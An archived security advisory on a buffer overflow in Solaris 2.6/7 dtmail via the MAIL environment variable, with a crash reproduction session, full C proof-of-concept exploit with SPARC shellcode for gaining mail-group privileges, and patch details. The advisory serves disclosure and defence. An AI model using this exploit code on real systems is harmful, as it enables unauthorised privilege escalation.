COMMAND

    dtmail

SYSTEMS AFFECTED

    Solaris 2.6, 7

PROBLEM

    Following  is  based  on  a  NSFOCUS  Security Advisory SA2001-04.
    NSFOCUS Security  Team has  found a  buffer overflow vulnerability
    in  the  dtmail  of  Solaris  handling  MAIL environment variable,
    exploitation of  which could  allow an  attacker to  run arbitrary
    code with  the privilege  of mail  group.   dtmail is  a mail user
    agent (MUA) shipped  as a part  of Solaris CDE.   It is  installed
    setgid mail by default.

    The  vulnerability  results  because  dtmail  do not provide valid
    boundary check to certain  environment variables, which allows  an
    attacker to launch a buffer overflow attack.

    In  case  that  the  MAIL  environment  variable  is a over-length
    character string (for instance,  longer than 1500 bytes),  a stack
    buffer overflow  would occur.   The attacker  could overwrite  the
    returned address and run arbitrary code with mail group privilege.

        [test@ /tmp]> uname -a
        SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
        [test@ /tmp]> showrev -p|grep 107200-12
        Patch: 107200-12 Obsoletes:  Requires: 108374-01, 107887-08 Incompatibles:
        Packages: SUNWdtdst, SUNWdtma
        [test@ /tmp]> ls -l /usr/dt/bin/dtmail
        -r-xr-sr-x   1 bin      mail     1553244 Jun 12  2001 /usr/dt/bin/dtmail*
        [test@ /tmp]> cp /usr/dt/bin/dtmail .
        [test@ /tmp]> export DISPLAY=127.0.0.1:0.0
        [test@ /tmp]> MAIL=`perl -e 'print "A"x2000'`; export MAIL
        [test@ /tmp]> ulimit -c 200000
        [test@ /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail
        
        [A dtmail dialog box would prompt out in your X window, click "Local"]
        
        [test@ /tmp]> ls -l core
        -rw-------   1 test users    1991892 Jun 22 11:47 core
        [test@ /tmp]> dbx ./dtmail ./core
        ...
        Reading dtmail
        core file header read successfully
        Reading ld.so.1
        Reading libSDtMail.so.2
        Reading libnsl.so.1
        Reading libsocket.so.1
        ....
        Reading libXext.so.0
        Reading libc_psr.so.1
        detected a multithreaded program
        t@1 (l@1) terminated by signal BUS (invalid address alignment)
        dbx: core file read error: address 0x41414161 not in data space
        dbx: attempt to read stack failed - bad frame pointer
        0x001013e4: solaris_valid+0x002c:       ret
        (/opt/SUNWspro/bin/../WS5.0/bin/sparcv9/dbx)

    A proof of concept code for this issue:

    /*
     *  sol_sparc_dtmail_MAIL_ex.c - Proof of Concept Code for dtmail $MAIL overflow bug.
     *
     *  Copyright (c) 2001 - Nsfocus.com
     *
     *  It will run "/bin/id" if the exploit succeed.
     *  Tested in Solaris 2.6/7 (SPARC).
     *
     *  DISCLAIMS:
     *  This  is a proof of concept code.  This code is for test purpose
     *  only and should not be run against any host without permission from
     *  the system administrator.
     *
     *  NSFOCUS Security Team <security@nsfocus.com>
     *  http://www.nsfocus.com
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/systeminfo.h>
    #include <pwd.h>
    
    struct passwd  *pwd;;
    
    #define SP      0xffbefffc      /* default bottom stack address (Solaris 7/8) */
    
    #define DISPENV "DISPLAY=127.0.0.1:0.0"
    
    #define VULPROG "/usr/dt/bin/dtmail"
    #define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */
    
    
    char            shellcode[] =
    "\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"
    "\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec"
    "\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"
    "\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
    
    /* get current stack point address */
    long
    get_sp(void)
    {
            __asm__("mov %sp,%i0");
    }
    
    long
    get_shelladdr(long sp_addr, char **arg, char **env, long off)
    {
            long            retaddr;
            int             i;
            char            plat[256];
            char            pad = 0, pad1 = 0, pad2;
            int             env_len, arg_len, len;
    
            while (1) {
                    /* calculate the length of "VULPROG" + argv[] */
                    for (i = 0, arg_len = 0; arg[i] != NULL; i++) {
                            arg_len += strlen(arg[i]) + 1;
                     }
    
                    /* calculate the pad nummber . */
                    pad = 3 - arg_len % 4;
    
                    memset(env[0], 'A', pad);
                    env[0][pad] = '\0';
    
                    memset(env[2], 'A', pad1);
                    env[2][pad1] = '\0';
    
                    /* get environ length */
                    for (i = 0, env_len = 0; env[i] != NULL; i++) {
                            env_len += strlen(env[i]) + 1;
                     }
    
                    /* get platform info  */
                    sysinfo(SI_PLATFORM, plat, 256);
    
                    len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;
    
                    pad2 = 4 - len % 4;
    
                    /* get the exact shellcode address */
                    retaddr = sp_addr - pad2        /* the trailing zero number */
                            - strlen(VULPROG) - 1
                            - strlen(plat) - 1;
    
                    for (i--; i > 0; i--)
                            retaddr -= strlen(env[i]) + 1;
    
                    if (!((retaddr + off) & 0xff)) {
                            pad1 += 8;
                            continue;
                    } else if ((retaddr + off) % 8) {
                            pad1 += 4;
                            continue;
                    } else
                            break;
            }
            return retaddr;
    
    } /* End of get_shelladdr */
    
    
    int
    main(int argc, char **argv)
    {
            char            buf[4096], home[128], display[256];
            char            eggbuf[2048];
            long            retaddr, sp_addr = SP;
            char           *arg[24], *env[24], *cwd, *charptr;
            char            padding[64], padding1[64];
            unsigned int   *ptr;
            char           *disp;
            char            ev1[] = "MAIL=";
            long            ev1_len, i, align;
            long            overbuflen = 2048;
    
            if (argc > 1)
                    snprintf(display, sizeof(display) - 1, "DISPLAY=%s", argv[1]);
            else {
                    disp = getenv("DISPLAY");
                    if (disp)
                            snprintf(display, sizeof(display) - 1, "DISPLAY=%s", disp);
                    else
                            strncpy(display, DISPENV, sizeof(display) - 1);
            }
    
            pwd = getpwuid((uid_t) getuid());
            snprintf(home, 127, "HOME=%s", strdup(pwd->pw_dir));
    
            arg[0] = VULPROG;
            arg[1] = NULL;
    
            cwd = getcwd((char *) NULL, 256);
            overbuflen = overbuflen - (strlen(cwd) + strlen("/"));
            ev1_len = strlen(ev1);
            bzero(buf, sizeof(buf));
            memcpy(buf, ev1, ev1_len);
            memset(buf + ev1_len, 'A', overbuflen);
    
            bzero(eggbuf, sizeof(eggbuf));
            ptr = (unsigned int *) eggbuf;
            for (i = 0; i < sizeof(eggbuf) - strlen(shellcode); i += 4)
                    *(ptr + i / 4) = NOP;
            memcpy(eggbuf + i - 4, shellcode, strlen(shellcode));
    
            env[0] = padding;       /* put padding buffer in env */
            env[1] = eggbuf;        /* put shellcode in env */
            env[2] = padding1;      /* put padding1 buffer in env */
            env[3] = buf;           /* put overflow environ */
            env[4] = display;       /* put display environ */
            env[5] = home;          /* put home environ */
            env[6] = NULL;          /* end of env */
    
            /* get stack bottom address */
            if (((unsigned char) (get_sp() >> 24)) == 0xef) {       /* Solaris 2.6 */
                    sp_addr = SP - 0x0fbf0000;
            }
            retaddr = get_shelladdr(sp_addr, arg, env, -8);
    
            retaddr -= 8;
            printf("Using  return address = 0x%x (shelladdrr - 8)\n", retaddr);
            printf("Click Local in your X window\n\n");
    
            charptr = (char *) &retaddr;
            align = 4 - ((strlen(cwd) + strlen("/")) % 4);
            for (i = 0; i < overbuflen - align; i++)
                    buf[ev1_len + align + i] = *(charptr + i % 4);
    
    
            execve(VULPROG, arg, env);
            perror("execle");
    }                               /* End of main */

SOLUTION

    Solaris 2.6 with the following patches is not affected:

        SunOS 5.6 SPARC :  105338-27
        SunOS 5.6 x86   :  105339-25

    Solaris 7 with the following latest patches is still affected:

        SunOS 5.7 SPARC :  107200-12
        SunOS 5.7 x86   :  107201-12

    Solaris 8 is not affected.